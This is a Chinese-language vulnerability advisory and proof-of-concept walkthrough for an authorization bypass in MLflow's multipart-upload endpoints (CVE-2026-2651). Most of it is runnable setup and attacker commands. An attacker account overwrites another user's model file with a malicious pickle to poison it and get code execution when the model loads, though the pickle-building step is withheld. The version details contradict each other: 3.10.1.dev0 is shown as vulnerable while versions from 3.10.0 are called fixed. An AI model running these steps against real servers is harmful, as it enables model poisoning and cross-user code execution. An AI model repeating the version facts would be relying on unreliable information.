MLflow MPU授权绕过漏洞CVE-2026-2651
MLflow 是由 Datapicks 推出、Linux Foundation 托管的开源机器学习全生命周期管理平台,可用于模型注册、训练追踪和模型服务。
一、基本情况
MLflow 大模型平台用于把模型从实验、训练、版本管理到部署上线的全过程管起来,解决 “实验乱、结果难复现、模型难上线” 的问题。

MLflow 生命周期管理平台可记录实验数据、对比方案,管控模型版本并保障结果复现,同时简化部署流程,支撑团队协作与模型运维。
栋科技漏洞库关注到 MLflow 在 3.10.1.dev0 之前版本中存在的MPU授权绕过漏洞,漏洞追踪为CVE-2026-2651,CVSS 3.0评分9.0。
二、漏洞分析
CVE-2026-2651是存在于 MLflow MPU 中的端点缺失授权验证,而导致跨资源制品覆盖、模型投毒及模型加载时跨边界命令执行漏洞。
受影响版本中,当启用 --serve-artifacts(制品服务)模式时,MLflow 会开放 MPU 端点用于大文件分片上传。
_is_proxy_artifact_path函数未将/mlflow-artifacts/mpu/*路径识别为需要授权的代理路径,
同时 _get_proxy_artifact_validator 缺少 POST 授权校验映射,导致 multipart upload的create/complete/abort 端点完全绕过权限检查。
但该组件的授权校验逻辑仅覆盖/mlflow-artifacts/artifacts路径组,未对/mlflow-artifacts/mpu/*路径执行等效的资源级权限校验。
攻击者操控artifact_path(制品路径)与path(文件名)参数,实现模型供应链投毒和任意代码执行,覆盖不属于自身的目标制品文件。
在共享远程追踪服务器(多用户协作)场景下,该漏洞可触发跨用户边界命令执行,进而演变为高风险的跨主机横向渗透攻击。
该漏洞会引发未授权的跨用户 / 跨资源写入操作、模型供应链投毒等一系列安全影响。
分析版本:5af88dc08a54d40dddfc019da9e7f0fd0fcf34e2(Git 描述:nightly-2300-g5af88dc08,本地 mlflow.version:3.10.1.dev0)
(一)环境配置
1、启用本地 S3 模拟环境(moto 框架)
# Install dependencies
pip install boto3 botocore cloudpickle "moto[s3]"
# Verify dependencies
python - <<'PY'
import mlflow, boto3, botocore, cloudpickle, moto
print("ok")
PY
# Start in background
nohup env MOTO_SERVICE=s3 moto_server -H 127.0.0.1 -p 5005 >/tmp/moto_s3_5005.log 2>&1 &
# Health check
# If health check fails, inspect the previous step's log
curl --noproxy '*' -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:5005/
2、创建测试存储桶
python - <<'PY'
import boto3
s3 = boto3.client(
"s3",
endpoint_url="http://127.0.0.1:5005",
aws_access_key_id="test",
aws_secret_access_key="test",
region_name="us-east-1",
)
s3.create_bucket(Bucket="mlflow-bucket")
print("bucket_created")
PY
(二)基础身份验证配置
1、配置 /tmp/mlflow_auth_noperm_mpu.ini 文件
cat >/tmp/mlflow_auth_noperm_mpu.ini <<'EOF2'
[mlflow]
default_permission = NO_PERMISSIONS
database_uri = sqlite:////tmp/mlflow_auth_noperm_mpu.db
admin_username = admin
admin_password = password1234
authorization_function = mlflow.server.auth:authenticate_request_basic_auth
EOF2
备注:
default_permission is set to NO_PERMISSIONS here to strengthen the contrast in the verification.
2、启动MLflow服务器
(basic-auth + serve-artifacts + S3)
nohup env \
MLFLOW_AUTH_CONFIG_PATH=/tmp/mlflow_auth_noperm_mpu.ini \
MLFLOW_FLASK_SERVER_SECRET_KEY=sec-mpu-key \
MLFLOW_SERVER_ENABLE_JOB_EXECUTION=false \
AWS_ACCESS_KEY_ID=test \
AWS_SECRET_ACCESS_KEY=test \
AWS_DEFAULT_REGION=us-east-1 \
MLFLOW_S3_ENDPOINT_URL=http://127.0.0.1:5005 \
mlflow server \
--host 127.0.0.1 \
--port 5003 \
--app-name basic-auth \
--backend-store-uri sqlite:////tmp/mlflow_backend_mpu.db \
--serve-artifacts \
--artifacts-destination s3://mlflow-bucket \
--default-artifact-root s3://mlflow-bucket \
>/tmp/mlflow_server_5003.log 2>&1 &
健康检查:
curl -s -o /tmp/mlflow_root_check.txt -w '%{http_code}\n' http://127.0.0.1:5003/
cat /tmp/mlflow_root_check.txt
2、预期:401(未经身份验证)。
初始化用户(管理员/受害者/攻击者)
# Create victim
curl -s -u admin:password1234 \
-X POST http://127.0.0.1:5003/api/2.0/mlflow/users/create \
-H 'Content-Type: application/json' \
-d '{"username":"victim","password":"VictimInitPass1234"}'
# Create attacker
curl -s -u admin:password1234 \
-X POST http://127.0.0.1:5003/api/2.0/mlflow/users/create \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"AttackerInitPass1234"}'
# Set unified passwords (for reproducibility)
curl -s -u admin:password1234 \
-X PATCH http://127.0.0.1:5003/api/2.0/mlflow/users/update-password \
-H 'Content-Type: application/json' \
-d '{"username":"victim","password":"victimpass1234"}'
curl -s -u admin:password1234 \
-X PATCH http://127.0.0.1:5003/api/2.0/mlflow/users/update-password \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"attackerpass1234"}'
3、受害者记录了一个正常的模型
MLFLOW_TRACKING_URI=http://127.0.0.1:5003 \
MLFLOW_TRACKING_USERNAME=victim \
MLFLOW_TRACKING_PASSWORD=victimpass1234 \
AWS_ACCESS_KEY_ID=test \
AWS_SECRET_ACCESS_KEY=test \
AWS_DEFAULT_REGION=us-east-1 \
MLFLOW_S3_ENDPOINT_URL=http://127.0.0.1:5005 \
python - <<'PY'
import json
import mlflow
from mlflow.pyfunc import PythonModel
exp = mlflow.set_experiment("victim_mpu_rce_exp")
class VictimModel(PythonModel):
def predict(self, context, model_input, params=None):
return ["victim-ok"] * len(model_input)
with mlflow.start_run(run_name="victim_clean_model") as run:
mlflow.pyfunc.log_model(artifact_path="model", python_model=VictimModel())
data = {
"experiment_id": run.info.experiment_id,
"run_id": run.info.run_id,
}
open("/tmp/victim_run_info_internal.json", "w").write(json.dumps(data))
print("victim_model_logged")
PY
cat /tmp/victim_run_info_internal.json
备注:
在这一步中,只有受害用户记录了一个正常的模型;model_id不会暴露给攻击者。
model_id和artifact_path在下一步中由攻击者独立获得。
三、POC概念验证
1、攻击者获得model_id和artifact_path
这相当于通过/api/2.0/mlflow/logged-models/search端点获取信息,然后将其传递给下一个操作。
管理员已设置登录后刷新可查看样本输出:
{
"experiment_id": "1",
"model_id": "m-6a756aa5725a4f41948d13d01dbdcf7d",
"artifact_path": "1/models/m-6a756aa5725a4f41948d13d01dbdcf7d/artifacts"
}
{
"experiment_id": "1",
"model_id": "m-6a756aa5725a4f41948d13d01dbdcf7d",
"artifact_path": "1/models/m-6a756aa5725a4f41948d13d01dbdcf7d/artifacts"
}
备注:
在跟踪服务器架构中,用户通过中央MLF服务器将请求代理到S3存储来获取工件。(官方推荐的部署架构)
https://mlflow.org/docs/latest/self-hosting/architecture/tracking-server/
2、攻击者读取受害者实验应该失败
EXP_ID=$(python - <<'PY'
import json
print(json.load(open('/tmp/mpu_repro_target.json'))["experiment_id"])
PY
)
curl -i -u attacker:attackerpass1234 \
"http://127.0.0.1:5003/api/2.0/mlflow/experiments/get?experiment_id=${EXP_ID}"
预期响应:
HTTP 403 Forbidden
Permission denied
3、攻击者启动MPU(创建)
ARTIFACT_PATH=$(python - <<'PY'
import json
print(json.load(open('/tmp/mpu_repro_target.json'))["artifact_path"])
PY
)
curl -s -u attacker:attackerpass1234 \
-X POST "http://127.0.0.1:5003/api/2.0/mlflow-artifacts/mpu/create/${ARTIFACT_PATH}" \
-H 'Content-Type: application/json' \
-d '{"path":"python_model.pkl","num_parts":1}' \
-o /tmp/mpu_create_resp.json
cat /tmp/mpu_create_resp.json
示例响应:
{
"upload_id": "H3j5QC1MsJOviCHrJq1adDkXJV6CX6Gcvkwij7qa60AaNinEruK0HpQ7Q",
"credentials": [
{
"url": "http://127.0.0.1:5005/mlflow-bucket/1/models/m-6a756aa5725a4f41948d13d01dbdcf7d/artifacts/python_model.pkl?partNumber=1&uploadId=H3j5QC1MsJOviCHrJq1adDkXJV6CX6Gcvkwij7qa60AaNinEruK0HpQ7Q&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=test%2F20260217%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20260217T052932Z&X-Amz-Expires=3600&X-Amz-SignedHeaders=host&X-Amz-Signature=f182c5c73db84b121a1761a01cbdf759b302c0d67d453b23ec5d9724a916ba51",
"part_number": 1
}
]
}
4、生成恶意python_model.pkl
管理员已设置登录后刷新可查看5、上传部分(PUT到预签名的URL)
python - <<'PY'
import json
import requests
url = json.load(open('/tmp/mpu_create_resp.json'))["credentials"][0]["url"]
payload = open('/tmp/malicious_python_model.pkl', 'rb').read()
# Note: explicitly disable proxy to avoid local proxy interference with 127.0.0.1 presigned request
r = requests.put(url, data=payload, timeout=15, proxies={"http": None, "https": None})
print("status", r.status_code)
print("etag", r.headers.get("ETag"))
open('/tmp/mpu_put_resp.json', 'w').write(json.dumps({"etag": r.headers.get("ETag")}))
PY
cat /tmp/mpu_put_resp.json
6、攻击者完成MPU(完成)
UPLOAD_ID=$(python - <<'PY'
import json
print(json.load(open('/tmp/mpu_create_resp.json'))["upload_id"])
PY
)
ETAG=$(python - <<'PY'
import json
print(json.load(open('/tmp/mpu_put_resp.json'))["etag"])
PY
)
ARTIFACT_PATH=$(python - <<'PY'
import json
print(json.load(open('/tmp/mpu_repro_target.json'))["artifact_path"])
PY
)
curl -i -u attacker:attackerpass1234 \
-X POST "http://127.0.0.1:5003/api/2.0/mlflow-artifacts/mpu/complete/${ARTIFACT_PATH}" \
-H 'Content-Type: application/json' \
-d "{\"path\":\"python_model.pkl\",\"upload_id\":\"${UPLOAD_ID}\",\"parts\":[{\"part_number\":1,\"etag\":${ETAG}}]}"
预期响应:HTTP 200
7、验证对象是否已被覆盖
python - <<'PY'
import json
import hashlib
import boto3
t = json.load(open('/tmp/mpu_repro_target.json'))
key = f"{t['artifact_path']}/python_model.pkl"
s3 = boto3.client(
"s3",
endpoint_url="http://127.0.0.1:5005",
aws_access_key_id="test",
aws_secret_access_key="test",
region_name="us-east-1",
)
obj = s3.get_object(Bucket="mlflow-bucket", Key=key)["Body"].read()
payload = open('/tmp/malicious_python_model.pkl', 'rb').read()
print("object_sha256", hashlib.sha256(obj).hexdigest())
print("payload_sha256", hashlib.sha256(payload).hexdigest())
print("equal", obj == payload)
PY
预期输出:等于True。
8、受害者触发加载并验证命令执行
管理员已设置登录后刷新可查看预期输出:来自whoami的用户标识。
9、潜在风险
未经授权覆盖其他用户的工件(模型文件)
模型供应链中毒
由下游模型加载触发的任意代码执行(此PoC使用whoami)
具有主机级权限的横向移动,实现跨主机命令执行
模型信任破裂;推理服务中的接管风险和数据泄露风险显著增加
四、影响范围
MLflow < 3.10.0
五、修复建议
MLflow ≥ 3.10.0
六、参考链接
管理员已设置登录后刷新可查看